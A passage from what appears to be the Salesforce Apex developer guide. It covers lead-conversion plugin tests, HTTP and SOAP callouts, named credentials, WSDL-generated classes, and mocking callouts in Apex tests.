from Lead where id = :testLead.ID];
System.Assert(aLead.isConverted);
//System.debug('ACCOUNT AFTER' + aLead.convertedAccountID);
System.AssertEquals(testAccount.ID, aLead.convertedAccountID);
}
/*
* This tests lead conversion with the Account ID specified.
*/
static testMethod void basicTestwithAccounts() {
// Create test lead
Lead testLead = new Lead(
Company='Test Lead',FirstName='John',LastName='Doe');
insert testLead;
Account testAccount1 = new Account(name='Test Lead');
insert testAccount1;
Account testAccount2 = new Account(name='Test Lead');
insert testAccount2;
// System.debug('ACCOUNT BEFORE' + testAccount.ID);
LeadStatus convertStatus = [Select Id, MasterLabel
from LeadStatus where IsConverted=true limit 1];
// Create test conversion
VWFConvertLead aLeadPlugin = new VWFConvertLead();
Map<String,Object> inputParams = new Map<String,Object>();
Map<String,Object> outputParams = new Map<String,Object>();
inputParams.put('LeadID',testLead.ID);
inputParams.put('ConvertedStatus',
convertStatus.MasterLabel);
Process.PluginRequest request = new
Process.PluginRequest(inputParams);
Process.PluginResult result;
result = aLeadPlugin.invoke(request);
Lead aLead =
[select name, id, isConverted, convertedAccountID
from Lead where id = :testLead.ID];
System.Assert(aLead.isConverted);
}

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/*
* -ve Test
*/
static testMethod void errorTest() {
// Create test lead
// Lead testLead = new Lead(Company='Test Lead',
//
FirstName='John',LastName='Doe');
LeadStatus convertStatus = [Select Id, MasterLabel
from LeadStatus where IsConverted=true limit 1];
// Create test conversion
VWFConvertLead aLeadPlugin = new VWFConvertLead();
Map<String,Object> inputParams = new Map<String,Object>();
Map<String,Object> outputParams = new Map<String,Object>();
inputParams.put('LeadID','00Q7XXXXxxxxxxx');
inputParams.put('ConvertedStatus',convertStatus.MasterLabel);
Process.PluginRequest request = new
Process.PluginRequest(inputParams);
Process.PluginResult result;
try {
result = aLeadPlugin.invoke(request);
}
catch (Exception e) {
System.debug('EXCEPTION' + e);
System.AssertEquals(1,1);
}
}

/*
* This tests the describe() method
*/
static testMethod void describeTest() {
VWFConvertLead aLeadPlugin =
new VWFConvertLead();
Process.PluginDescribeResult result =
aLeadPlugin.describe();
System.AssertEquals(
result.inputParameters.size(), 8);
System.AssertEquals(
result.OutputParameters.size(), 3);
}
}

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CHAPTER 11 Integration and Apex Utilities

In this chapter ...

Invoking Callouts
Using Apex

JSON Support

XML Support

Securing Your Data

Encoding Your Data

Using Patterns and

Matchers

Apex allows you to integrate with external SOAP and REST Web services using callouts. Various utilities
are provided for use with callouts. These are utilities for JSON, XML, data security, and encoding. Also, a
general purpose utility for regular expressions with text strings is provided.

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Invoking Callouts Using Apex

An Apex callout enables you to tightly integrate your Apex with an external service by making a call to an external Web service or sending
a HTTP request from Apex code and then receiving the response. Apex provides integration with Web services that utilize SOAP and
WSDL, or HTTP services (RESTful services).
Note: Before any Apex callout can call an external site, that site must be registered in the Remote Site Settings page, or the callout
fails. Salesforce prevents calls to unauthorized network addresses.
If the callout specifies a named credential as the endpoint, you dont need to configure remote site settings. A named credential
specifies the URL of a callout endpoint and its required authentication parameters in one definition. To set up named credentials,
see Define a Named Credential in the Salesforce Help.
To learn more about the types of callouts, see:
SOAP Services: Defining a Class from a WSDL Document on page 453
Invoking HTTP Callouts on page 466
Asynchronous Callouts for Long-Running Requests on page 477
Tip: Callouts enable Apex to invoke external web or HTTP services. Apex Web services allow an external application to invoke
Apex methods through Web services.

Adding Remote Site Settings

Before any Apex callout can call an external site, that site must be registered in the Remote Site Settings page, or the callout fails. Salesforce
prevents calls to unauthorized network addresses.
Note: If the callout specifies a named credential as the endpoint, you dont need to configure remote site settings. A named
credential specifies the URL of a callout endpoint and its required authentication parameters in one definition. To set up named
credentials, see Define a Named Credential in the Salesforce Help.
To add a remote site setting:
1. From Setup, enter Remote Site Settings in the Quick Find box, then select Remote Site Settings.
2. Click New Remote Site.
3. Enter a descriptive term for the Remote Site Name.
4. Enter the URL for the remote site.
5. Optionally, enter a description of the site.
6. Click Save.

Named Credentials as Callout Endpoints

A named credential specifies the URL of a callout endpoint and its required authentication parameters in one definition. Salesforce
manages all authentication for Apex callouts that specify a named credential as the callout endpoint so that your code doesnt have to.
You can also skip remote site settings, which are otherwise required for callouts to external sites, for the site defined in the named
credential.
By separating the endpoint URL and authentication from the callout definition, named credentials make callouts easier to maintain. For
example, if an endpoint URL changes, you update only the named credential. All callouts that reference the named credential simply
continue to work.

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Named Credentials as Callout Endpoints

If you have multiple orgs, you can create a named credential with the same name but with a different endpoint URL in each org. You
can then package and deployon all the orgsone callout definition that references the shared name of those named credentials.
For example, the named credential in each org can have a different endpoint URL to accommodate differences in development and
production environments. If an Apex callout specifies the shared name of those named credentials, the Apex class that defines the callout
can be packaged and deployed on all those orgs without programmatically checking the environment.
To reference a named credential from a callout definition, use the named credential URL. A named credential URL contains the scheme
callout:, the name of the named credential, and an optional path. For example:
callout:My_Named_Credential/some_path.
You can append a query string to a named credential URL. Use a question mark (?) as the separator between the named credential URL
and the query string. For example: callout:My_Named_Credential/some_path?format=json.
Example: In the following Apex code, a named credential and an appended path specify the callouts endpoint.
HttpRequest req = new HttpRequest();
req.setEndpoint('callout:My_Named_Credential/some_path');
req.setMethod('GET');
Http http = new Http();
HTTPResponse res = http.send(req);
System.debug(res.getBody());

The referenced named credential specifies the endpoint URL and the authentication settings.

If you use OAuth instead of password authentication, the Apex code remains the same. The authentication settings differ in the
named credential, which references an authentication provider thats defined in the org.

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In contrast, lets see what the Apex code looks like without a named credential. Notice that the code becomes more complex to
handle authentication, even if we stick with basic password authentication. Coding OAuth is even more complex and is an ideal
use case for named credentials.
HttpRequest req = new HttpRequest();
req.setEndpoint('https://my_endpoint.example.com/some_path');
req.setMethod('GET');
//
//
//
//

Because we didn't set the endpoint as a named credential,

our code has to specify:
- The required username and password to access the endpoint
- The header and header information

String username = 'myname';

String password = 'mypwd';
Blob headerValue = Blob.valueOf(username + ':' + password);
String authorizationHeader = 'BASIC ' +
EncodingUtil.base64Encode(headerValue);
req.setHeader('Authorization', authorizationHeader);
// Create a new http object to send the request object
// A response object is generated as a result of the request
Http http = new Http();
HTTPResponse res = http.send(req);
System.debug(res.getBody());

SEE ALSO:
Invoking Callouts Using Apex
Salesforce Help: Define a Named Credential
Salesforce Help: About External Authentication Providers

Custom Headers and Bodies of Apex Callouts That Use Named Credentials
Salesforce generates a standard authorization header for each callout to a named-credential-defined endpoint, but you can disable this
option. Your Apex code can also use merge fields to construct each callouts HTTP header and body.
This flexibility enables you to use named credentials in special situations. For example, some remote endpoints require security tokens
or encrypted credentials in request headers. Some remote endpoints expect usernames and passwords in XML or JSON message bodies.
Customize the callout headers and bodies as needed.
The Salesforce admin must set up the named credential to allow Apex code to construct headers or use merge fields in HTTP headers
or bodies. The following table describes these callout options for the named credential.
Field

Description

Generate Authorization Header

By default, Salesforce generates an authorization header and applies it to

each callout that references the named credential.
Deselect this option only if one of the following statements applies.
The remote endpoint doesnt support authorization headers.

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Field

Named Credentials as Callout Endpoints

Description
The authorization headers are provided by other means. For example, in
Apex callouts, the developer can have the code construct a custom
authorization header for each callout.
This option is required if you reference the named credential from an external
data source.

Allow Merge Fields in HTTP Header

Allow Merge Fields in HTTP Body

In each Apex callout, the code specifies how the HTTP header and request
body are constructed. For example, the Apex code can set the value of a
cookie in an authorization header.
These options enable the Apex code to use merge fields to populate the
HTTP header and request body with org data when the callout is made.
These options arent available if you reference the named credential from an
external data source.

SEE ALSO:
Merge Fields for Apex Callouts That Use Named Credentials
Salesforce Help: Define a Named Credential

Merge Fields for Apex Callouts That Use Named Credentials

To construct the HTTP headers and request bodies of callouts to endpoints that are specified as named credentials, use these merge
fields in your Apex code.
Merge Field

Description

{!$Credential.Username}

Username and password of the running user. Available only if the named
credential uses password authentication.

{!$Credential.Password}

// non-standard authentication
req.setHeader(X-Username,
{!$Credential.UserName});
req.setHeader(X-Password,
{!$Credential.Password});

{!$Credential.OAuthToken}

OAuth token of the running user. Available only if the named credential uses
OAuth authentication.
// The external system expects OAuth as
// the prefix for the access token.
req.setHeader(Authorization, OAuth
{!$Credential.OAuthToken});

{!$Credential.AuthorizationMethod}

Valid values depend on the authentication protocol of the named credential.

Basicpassword authentication
BearerOAuth 2.0

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Merge Field

SOAP Services: Defining a Class from a WSDL Document

Description
nullno authentication

{!$Credential.AuthorizationHeaderValue} Valid values depend on the authentication protocol of the named credential.

Base-64 encoded username and passwordpassword

authentication
OAuth tokenOAuth 2.0
nullno authentication
{!$Credential.OAuthConsumerKey}

Consumer key. Available only if the named credential uses OAuth

authentication.

SEE ALSO:
Custom Headers and Bodies of Apex Callouts That Use Named Credentials
Named Credentials as Callout Endpoints

SOAP Services: Defining a Class from a WSDL Document

Classes can be automatically generated from a WSDL document that is stored on a local hard drive or network. Creating a class by
consuming a WSDL document allows developers to make callouts to the external Web service in their Apex code.
Note: Use Outbound Messaging to handle integration solutions when possible. Use callouts to third-party Web services only
when necessary.
To generate an Apex class from a WSDL:
1. In the application, from Setup, enter Apex Classes in the Quick Find box, then select Apex Classes.
2. Click Generate from WSDL.
3. Click Browse to navigate to a WSDL document on your local hard drive or network, or type in the full path. This WSDL document is
the basis for the Apex class you are creating.
Note: The WSDL document that you specify might contain a SOAP endpoint location that references an outbound port.
For security reasons, Salesforce restricts the outbound ports you may specify to one of the following:
80: This port only accepts HTTP connections.
443: This port only accepts HTTPS connections.
102466535 (inclusive): These ports accept HTTP or HTTPS connections.
4. Click Parse WSDL to verify the WSDL document contents. The application generates a default class name for each namespace in
the WSDL document and reports any errors. Parsing fails if the WSDL contains schema types or constructs that arent supported by
Apex classes, or if the resulting classes exceed the 1 million character limit on Apex classes. For example, the Salesforce SOAP API
WSDL cannot be parsed.
5. Modify the class names as desired. While you can save more than one WSDL namespace into a single class by using the same class
name for each namespace, Apex classes can be no more than 1 million characters total.
6. Click Generate Apex. The final page of the wizard shows which classes were successfully generated, along with any errors from
other classes. The page also provides a link to view successfully generated code.

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The successfully generated Apex classes include stub and type classes for calling the third-party Web service represented by the WSDL
document. These classes allow you to call the external Web service from Apex. For each generated class, a second class is created with
the same name and with a prefix of Async. The first class is for synchronous callouts. The second class is for asynchronous callouts. For
more information about asynchronous callouts, see Make Long-Running Callouts from a Visualforce Page.
Note the following about the generated Apex:
If a WSDL document contains an Apex reserved word, the word is appended with _x when the Apex class is generated. For example,
limit in a WSDL document converts to limit_x in the generated Apex class. See Reserved Keywords. For details on handling
characters in element names in a WSDL that are not supported in Apex variable names, see Considerations Using WSDLs.
If an operation in the WSDL has an output message with more than one element, the generated Apex wraps the elements in an
inner class. The Apex method that represents the WSDL operation returns the inner class instead of the individual elements.
Since periods (.) are not allowed in Apex class names, any periods in WSDL names used to generate Apex classes are replaced by
underscores (_) in the generated Apex code.
After you have generated a class from the WSDL, you can invoke the external service referenced by the WSDL.
Note: Before you can use the samples in the rest of this topic, you must copy the Apex class docSampleClass from Generated
WSDL2Apex Code and add it to your organization.

Invoking an External Service

To invoke an external service after using its WSDL document to generate an Apex class, create an instance of the stub in your Apex code
and call the methods on it. For example, to invoke the StrikeIron IP address lookup service from Apex, you could write code similar to
the following:
// Create the stub
strikeironIplookup.DNSSoap dns = new strikeironIplookup.DNSSoap();
// Set up the license header
dns.LicenseInfo = new strikeiron.LicenseInfo();
dns.LicenseInfo.RegisteredUser = new strikeiron.RegisteredUser();
dns.LicenseInfo.RegisteredUser.UserID = '[email protected]';
dns.LicenseInfo.RegisteredUser.Password = 'your-password';
// Make the Web service call
strikeironIplookup.DNSInfo info = dns.DNSLookup('www.myname.com');

HTTP Header Support

You can set the HTTP headers on a Web service callout. For example, you can use this feature to set the value of a cookie in an authorization
header. To set HTTP headers, add inputHttpHeaders_x and outputHttpHeaders_x to the stub.
Note: In API versions 16.0 and earlier, HTTP responses for callouts are always decoded using UTF-8, regardless of the Content-Type
header. In API versions 17.0 and later, HTTP responses are decoded using the encoding specified in the Content-Type header.
The following samples work with the sample WSDL file in Generated WSDL2Apex Code on page 458:

Sending HTTP Headers on a Web Service Callout

docSample.DocSamplePort stub = new docSample.DocSamplePort();
stub.inputHttpHeaders_x = new Map<String, String>();

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//Setting a basic authentication header

stub.inputHttpHeaders_x.put('Authorization', 'Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==');
//Setting a cookie header
stub.inputHttpHeaders_x.put('Cookie', 'name=value');
//Setting a custom HTTP header
stub.inputHttpHeaders_x.put('myHeader', 'myValue');
String input = 'This is the input string';
String output = stub.EchoString(input);

If a value for inputHttpHeaders_x is specified, it overrides the standard headers set.

Accessing HTTP Response Headers from a Web Service Callout Response

docSample.DocSamplePort stub = new docSample.DocSamplePort();
stub.outputHttpHeaders_x = new Map<String, String>();
String input = 'This is the input string';
String output = stub.EchoString(input);
//Getting cookie header
String cookie = stub.outputHttpHeaders_x.get('Set-Cookie');
//Getting custom header
String myHeader = stub.outputHttpHeaders_x.get('My-Header');

The value of outputHttpHeaders_x is null by default. You must set outputHttpHeaders_x before you have access to the
content of headers in the response.

Supported WSDL Features

Apex supports only the document literal wrapped WSDL style and the following primitive and built-in datatypes:
Schema Type

Apex Type

xsd:anyURI

String

xsd:boolean

Boolean

xsd:date

Date

xsd:dateTime

Datetime

xsd:double

Double

xsd:float

Double

xsd:int

Integer

xsd:integer

Integer

xsd:language

String

xsd:long

Long

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Schema Type

Apex Type

xsd:Name

String

xsd:NCName

String

xsd:nonNegativeInteger Integer
xsd:NMTOKEN

String

xsd:NMTOKENS

String

xsd:normalizedString

String

xsd:NOTATION

String

xsd:positiveInteger

Integer

xsd:QName

String

xsd:short

Integer

xsd:string

String

xsd:time

Datetime

xsd:token

String

xsd:unsignedInt

Integer

<wsdl:types>
<s:schema elementFormDefault="qualified"
targetNamespace="http://doc.sample.com/docSample">
<s:element name="EchoString">
<s:complexType>
<s:sequence>
<s:element minOccurs="0" maxOccurs="1" name="input" type="s:string" />
</s:sequence>
</s:complexType>
</s:element>
<s:element name="EchoStringResponse">
<s:complexType>
<s:sequence>
<s:element minOccurs="0" maxOccurs="1" name="EchoStringResult"
type="s:string" />
</s:sequence>
</s:complexType>
</s:element>
</s:schema>
</wsdl:types>

<wsdl:message name="EchoStringSoapIn">
<wsdl:part name="parameters" element="tns:EchoString" />
</wsdl:message>
<wsdl:message name="EchoStringSoapOut">
<wsdl:part name="parameters" element="tns:EchoStringResponse" />
</wsdl:message>
<wsdl:portType name="DocSamplePortType">
<wsdl:operation name="EchoString">
<wsdl:input message="tns:EchoStringSoapIn" />
<wsdl:output message="tns:EchoStringSoapOut" />
</wsdl:operation>
</wsdl:portType>

<wsdl:binding name="DocSampleBinding" type="tns:DocSamplePortType">
<wsdl:operation name="EchoString">
<soap:operation soapAction="urn:dotnet.callouttest.soap.sforce.com/EchoString"
style="document" />
<wsdl:input>
<soap:body use="literal" />
</wsdl:input>
<wsdl:output>
<soap:body use="literal" />
</wsdl:output>
</wsdl:operation>
</wsdl:binding>

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<wsdl:service name="DocSample">
<wsdl:port name="DocSamplePort" binding="tns:DocSampleBinding">
<soap:address location="http://YourServer/YourService" />
</wsdl:port>
</wsdl:service>
</wsdl:definitions>

From this WSDL document, the following Apex class is auto-generated. The class name docSample is the name you specify when
importing the WSDL.
//Generated by wsdl2apex
public class docSample {
public class EchoStringResponse_element {
public String EchoStringResult;
private String[] EchoStringResult_type_info = new String[]{
'EchoStringResult',
'http://doc.sample.com/docSample',
null,'0','1','false'};
private String[] apex_schema_type_info = new String[]{
'http://doc.sample.com/docSample',
'true','false'};
private String[] field_order_type_info = new String[]{
'EchoStringResult'};
}
public class EchoString_element {
public String input;
private String[] input_type_info = new String[]{
'input',
'http://doc.sample.com/docSample',
null,'0','1','false'};
private String[] apex_schema_type_info = new String[]{
'http://doc.sample.com/docSample',
'true','false'};
private String[] field_order_type_info = new String[]{'input'};
}
public class DocSamplePort {
public String endpoint_x = 'http://YourServer/YourService';
public Map<String,String> inputHttpHeaders_x;
public Map<String,String> outputHttpHeaders_x;
public String clientCertName_x;
public String clientCert_x;
public String clientCertPasswd_x;
public Integer timeout_x;
private String[] ns_map_type_info = new String[]{
'http://doc.sample.com/docSample', 'docSample'};
public String EchoString(String input) {
docSample.EchoString_element request_x = new
docSample.EchoString_element();
request_x.input = input;
docSample.EchoStringResponse_element response_x;
Map<String, docSample.EchoStringResponse_element> response_map_x =
new Map<String, docSample.EchoStringResponse_element>();
response_map_x.put('response_x', response_x);

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WebServiceCallout.invoke(
this,
request_x,
response_map_x,
new String[]{endpoint_x,
'urn:dotnet.callouttest.soap.sforce.com/EchoString',
'http://doc.sample.com/docSample',
'EchoString',
'http://doc.sample.com/docSample',
'EchoStringResponse',
'docSample.EchoStringResponse_element'}
);
response_x = response_map_x.get('response_x');
return response_x.EchoStringResult;
}
}
}

Note the following mappings from the original WSDL document:

The WSDL target namespace maps to the Apex class name.
Each complex type becomes a class. Each element in the type is a public field in the class.
The WSDL port name maps to the stub class.
Each operation in the WSDL maps to a public method.
You can use the auto-generated docSample class to invoke external Web services. The following code calls the echoString
method on the external server.
docSample.DocSamplePort stub = new docSample.DocSamplePort();
String input = 'This is the input string';
String output = stub.EchoString(input);

Test Web Service Callouts

Generated code is saved as an Apex class containing the methods you can invoke for calling the web service. To deploy or package this
Apex class and other accompanying code, 75% of the code must have test coverage, including the methods in the generated class. By
default, test methods dont support web service callouts, and tests that perform web service callouts fail. To prevent tests from failing
and to increase code coverage, Apex provides the built-in WebServiceMock interface and the Test.setMock method. Use
WebServiceMock and Test.setMock to receive fake responses in a test method.

Specify a Mock Response for Testing Web Service Callouts

When you create an Apex class from a WSDL, the methods in the auto-generated class call WebServiceCallout.invoke, which
performs the callout to the external service. When testing these methods, you can instruct the Apex runtime to generate a fake response
whenever WebServiceCallout.invoke is called. To do so, implement the WebServiceMock interface and specify a fake
response for the Apex runtime to send. Here are the steps in more detail.
First, implement the WebServiceMock interface and specify the fake response in the doInvoke method.
global class YourWebServiceMockImpl implements WebServiceMock {
global void doInvoke(
Object stub,
Object request,

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Map<String, Object> response,

String endpoint,
String soapAction,
String requestName,
String responseNS,
String responseName,
String responseType) {
// Create response element from the autogenerated class.
// Populate response element.
// Add response element to the response parameter, as follows:
response.put('response_x', responseElement);
}
}

Note:
The class implementing the WebServiceMock interface can be either global or public.
You can annotate this class with @isTest because it is used only in a test context. In this way, you can exclude it from your
orgs code size limit of 3 MB.
Now that you have specified the values of the fake response, instruct the Apex runtime to send this fake response by calling
Test.setMock in your test method. For the first argument, pass WebServiceMock.class, and for the second argument,
pass a new instance of your interface implementation of WebServiceMock, as follows:
Test.setMock(WebServiceMock.class, new YourWebServiceMockImpl());

After this point, if a web service callout is invoked in test context, the callout is not made. You receive the mock response specified in
your doInvoke method implementation.
Note: To mock a callout if the code that performs the callout is in a managed package, call Test.setMock from a test method
in the same package with the same namespace.
This example shows how to test a web service callout. The implementation of the WebServiceMock interface is listed first. This
example implements the doInvoke method, which returns the response you specify. In this case, the response element of the
auto-generated class is created and assigned a value. Next, the response Map parameter is populated with this fake response. This
example is based on the WSDL listed in Generated WSDL2Apex Code. Import this WSDL and generate a class called docSample
before you save this class.
@isTest
global class WebServiceMockImpl implements WebServiceMock {
global void doInvoke(
Object stub,
Object request,
Map<String, Object> response,
String endpoint,
String soapAction,
String requestName,
String responseNS,
String responseName,
String responseType) {
docSample.EchoStringResponse_element respElement =
new docSample.EchoStringResponse_element();
respElement.EchoStringResult = 'Mock response';
response.put('response_x', respElement);

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}
}

This method makes a web service callout.

public class WebSvcCallout {
public static String callEchoString(String input) {
docSample.DocSamplePort sample = new docSample.DocSamplePort();
sample.endpoint_x = 'http://api.salesforce.com/foo/bar';
// This invokes the EchoString method in the generated class
String echo = sample.EchoString(input);
return echo;
}
}

This test class contains the test method that sets the mock callout mode. It calls the callEchoString method in the previous class
and verifies that a mock response is received.
@isTest
private class WebSvcCalloutTest {
@isTest static void testEchoString() {
// This causes a fake response to be generated
Test.setMock(WebServiceMock.class, new WebServiceMockImpl());
// Call the method that invokes a callout
String output = WebSvcCallout.callEchoString('Hello World!');
// Verify that a fake result is returned
System.assertEquals('Mock response', output);
}
}

Performing DML Operations and Mock Callouts

By default, callouts arent allowed after DML operations in the same transaction because DML operations result in pending uncommitted
work that prevents callouts from executing. Sometimes, you might want to insert test data in your test method using DML before making
a callout. To enable this, enclose the portion of your code that performs the callout within Test.startTest and Test.stopTest
statements. The Test.startTest statement must appear before the Test.setMock statement. Also, the calls to DML operations
must not be part of the Test.startTest/Test.stopTest block.
DML operations that occur after mock callouts are allowed and dont require any changes in test methods.

Performing DML Before Mock Callouts

This example is based on the previous example. The example shows how to use Test.startTest and Test.stopTest
statements to allow DML operations to be performed in a test method before mock callouts. The test method (testEchoString)

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first inserts a test account, calls Test.startTest, sets the mock callout mode using Test.setMock, calls a method that performs
the callout, verifies the mock response values, and finally, calls Test.stopTest.
@isTest
private class WebSvcCalloutTest {
@isTest static void testEchoString() {
// Perform some DML to insert test data
Account testAcct = new Account('Test Account');
insert testAcct;
// Call Test.startTest before performing callout
// but after setting test data.
Test.startTest();
// Set mock callout class
Test.setMock(WebServiceMock.class, new WebServiceMockImpl());
// Call the method that invokes a callout
String output = WebSvcCallout.callEchoString('Hello World!');
// Verify that a fake result is returned
System.assertEquals('Mock response', output);
Test.stopTest();
}
}

Asynchronous Apex and Mock Callouts

Similar to DML, asynchronous Apex operations result in pending uncommitted work that prevents callouts from being performed later
in the same transaction. Examples of asynchronous Apex operations are calls to future methods, batch Apex, or scheduled Apex. These
asynchronous calls are typically enclosed within Test.startTest and Test.stopTest statements in test methods so that
they execute after Test.stopTest. In this case, mock callouts can be performed after the asynchronous calls and no changes are
necessary. But if the asynchronous calls arent enclosed within Test.startTest and Test.stopTest statements, youll get
an exception because of uncommitted work pending. To prevent this exception, do either of the following:
Enclose the asynchronous call within Test.startTest and Test.stopTest statements.
Test.startTest();
MyClass.asyncCall();
Test.stopTest();
Test.setMock(..); // Takes two arguments
MyClass.mockCallout();

Follow the same rules as with DML calls: Enclose the portion of your code that performs the callout within Test.startTest
and Test.stopTest statements. The Test.startTest statement must appear before the Test.setMock statement.
Also, the asynchronous calls must not be part of the Test.startTest/Test.stopTest block.
MyClass.asyncCall();
Test.startTest();
Test.setMock(..); // Takes two arguments

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MyClass.mockCallout();
Test.stopTest();

Asynchronous calls that occur after mock callouts are allowed and dont require any changes in test methods.
SEE ALSO:
Test Class

Considerations Using WSDLs

Be aware of the following when generating Apex classes from a WSDL.

Mapping Headers
Headers defined in the WSDL document become public fields on the stub in the generated class. This is similar to how the AJAX Toolkit
and .NET works.

Understanding Runtime Events

Testing HTTP Callouts

To deploy or package Apex, 75% of your code must have test coverage. By default, test methods dont support HTTP callouts, so tests
that perform callouts fail. Enable HTTP callout testing by instructing Apex to generate mock responses in tests, using Test.setMock.
Specify the mock response in one of the following ways.
By implementing the HttpCalloutMock interface
By using Static Resources with StaticResourceCalloutMock or MultiStaticResourceCalloutMock
To enable running DML operations before mock callouts in your test methods, see Performing DML Operations and Mock Callouts.
IN THIS SECTION:
Testing HTTP Callouts by Implementing the HttpCalloutMock Interface
Testing HTTP Callouts Using Static Resources
Performing DML Operations and Mock Callouts

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Testing HTTP Callouts by Implementing the HttpCalloutMock Interface

Provide an implementation for the HttpCalloutMock interface to specify the response sent in the respond method, which the
Apex runtime calls to send a response for a callout.
global class YourHttpCalloutMockImpl implements HttpCalloutMock {
global HTTPResponse respond(HTTPRequest req) {
// Create a fake response.
// Set response values, and
// return response.
}
}

Note:
The class that implements the HttpCalloutMock interface can be either global or public.
You can annotate this class with @isTest since it will be used only in test context. In this way, you can exclude it from your
organizations code size limit of 3 MB.
Now that you have specified the values of the fake response, instruct the Apex runtime to send this fake response by calling
Test.setMock in your test method. For the first argument, pass HttpCalloutMock.class, and for the second argument,
pass a new instance of your interface implementation of HttpCalloutMock, as follows:
Test.setMock(HttpCalloutMock.class, new YourHttpCalloutMockImpl());

After this point, if an HTTP callout is invoked in test context, the callout is not made and you receive the mock response you specified in
the respond method implementation.
Note: To mock a callout if the code that performs the callout is in a managed package, call Test.setMock from a test method
in the same package with the same namespace.
This is a full example that shows how to test an HTTP callout. The interface implementation (MockHttpResponseGenerator) is
listed first. It is followed by a class containing the test method and another containing the method that the test calls. The testCallout
test method sets the mock callout mode by calling Test.setMock before calling getInfoFromExternalService. It then
verifies that the response returned is what the implemented respond method sent. Save each class separately and run the test in
CalloutClassTest.
@isTest
global class MockHttpResponseGenerator implements HttpCalloutMock {
// Implement this interface method
global HTTPResponse respond(HTTPRequest req) {
// Optionally, only send a mock response for a specific endpoint
// and method.
System.assertEquals('http://api.salesforce.com/foo/bar', req.getEndpoint());
System.assertEquals('GET', req.getMethod());
// Create a fake response
HttpResponse res = new HttpResponse();
res.setHeader('Content-Type', 'application/json');
res.setBody('{"foo":"bar"}');
res.setStatusCode(200);
return res;

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}
}
public class CalloutClass {
public static HttpResponse getInfoFromExternalService() {
HttpRequest req = new HttpRequest();
req.setEndpoint('http://api.salesforce.com/foo/bar');
req.setMethod('GET');
Http h = new Http();
HttpResponse res = h.send(req);
return res;
}
}
@isTest
private class CalloutClassTest {
@isTest static void testCallout() {
// Set mock callout class
Test.setMock(HttpCalloutMock.class, new MockHttpResponseGenerator());
// Call method to test.
// This causes a fake response to be sent
// from the class that implements HttpCalloutMock.
HttpResponse res = CalloutClass.getInfoFromExternalService();
// Verify response received contains fake values
String contentType = res.getHeader('Content-Type');
System.assert(contentType == 'application/json');
String actualValue = res.getBody();
String expectedValue = '{"foo":"bar"}';
System.assertEquals(actualValue, expectedValue);
System.assertEquals(200, res.getStatusCode());
}
}

SEE ALSO:
HttpCalloutMock Interface
Test Class

Testing HTTP Callouts Using Static Resources

You can test HTTP callouts by specifying the body of the response youd like to receive in a static resource and using one of two built-in
classesStaticResourceCalloutMock or MultiStaticResourceCalloutMock.

Testing HTTP Callouts Using StaticResourceCalloutMock

Apex provides the built-in StaticResourceCalloutMock class that you can use to test callouts by specifying the response
body in a static resource. When using this class, you dont have to provide your own implementation of the HttpCalloutMock
interface. Instead, just create an instance of StaticResourceCalloutMock and set the static resource to use for the response
body, along with other response properties, like the status code and content type.
First, you must create a static resource from a text file to contain the response body:

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1. Create a text file that contains the response body to return. The response body can be an arbitrary string, but it must match the
content type, if specified. For example, if your response has no content type specified, the file can include the arbitrary string abc.
If you specify a content type of application/json for the response, the file content should be a JSON string, such as {"hah":"fooled
you"}.
2. Create a static resource for the text file:
a. From Setup, enter Static Resources in the Quick Find box, then select Static Resources.
b. Click New.
c. Name your static resource.
d. Choose the file to upload.
e. Click Save.
To learn more about static resources, see Defining Static Resources in the Salesforce online help.
Next, create an instance of StaticResourceCalloutMock and set the static resource, and any other properties.
StaticResourceCalloutMock mock = new StaticResourceCalloutMock();
mock.setStaticResource('myStaticResourceName');
mock.setStatusCode(200);
mock.setHeader('Content-Type', 'application/json');

In your test method, call Test.setMock to set the mock callout mode and pass it HttpCalloutMock.class as the first
argument, and the variable name that you created for StaticResourceCalloutMock as the second argument.
Test.setMock(HttpCalloutMock.class, mock);

After this point, if your test method performs a callout, the callout is not made and the Apex runtime sends the mock response you
specified in your instance of StaticResourceCalloutMock.
Note: To mock a callout if the code that performs the callout is in a managed package, call Test.setMock from a test method
in the same package with the same namespace.
This is a full example containing the test method (testCalloutWithStaticResources) and the method it is testing
(getInfoFromExternalService) that performs the callout. Before running this example, create a static resource named
mockResponse based on a text file with the content {"hah":"fooled you"}. Save each class separately and run the test in
CalloutStaticClassTest.
public class CalloutStaticClass {
public static HttpResponse getInfoFromExternalService(String endpoint) {
HttpRequest req = new HttpRequest();
req.setEndpoint(endpoint);
req.setMethod('GET');
Http h = new Http();
HttpResponse res = h.send(req);
return res;
}
}
@isTest
private class CalloutStaticClassTest {
@isTest static void testCalloutWithStaticResources() {
// Use StaticResourceCalloutMock built-in class to
// specify fake response and include response body
// in a static resource.

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StaticResourceCalloutMock mock = new StaticResourceCalloutMock();

mock.setStaticResource('mockResponse');
mock.setStatusCode(200);
mock.setHeader('Content-Type', 'application/json');
// Set the mock callout mode
Test.setMock(HttpCalloutMock.class, mock);
// Call the method that performs the callout
HTTPResponse res = CalloutStaticClass.getInfoFromExternalService(
'http://api.salesforce.com/foo/bar');
// Verify response received contains values returned by
// the mock response.
// This is the content of the static resource.
System.assertEquals('{"hah":"fooled you"}', res.getBody());
System.assertEquals(200,res.getStatusCode());
System.assertEquals('application/json', res.getHeader('Content-Type'));
}
}

Testing HTTP Callouts Using MultiStaticResourceCalloutMock

Apex provides the built-in MultiStaticResourceCalloutMock class that you can use to test callouts by specifying the
response body in a static resource for each endpoint. This class is similar to StaticResourceCalloutMock except that it allows
you to specify multiple response bodies. When using this class, you dont have to provide your own implementation of the
HttpCalloutMock interface. Instead, just create an instance of MultiStaticResourceCalloutMock and set the static
resource to use per endpoint. You can also set other response properties like the status code and content type.
First, you must create a static resource from a text file to contain the response body. See the procedure outlined in Testing HTTP Callouts
Using StaticResourceCalloutMock.
Next, create an instance of MultiStaticResourceCalloutMock and set the static resource, and any other properties.
MultiStaticResourceCalloutMock multimock = new MultiStaticResourceCalloutMock();
multimock.setStaticResource('http://api.salesforce.com/foo/bar', 'mockResponse');
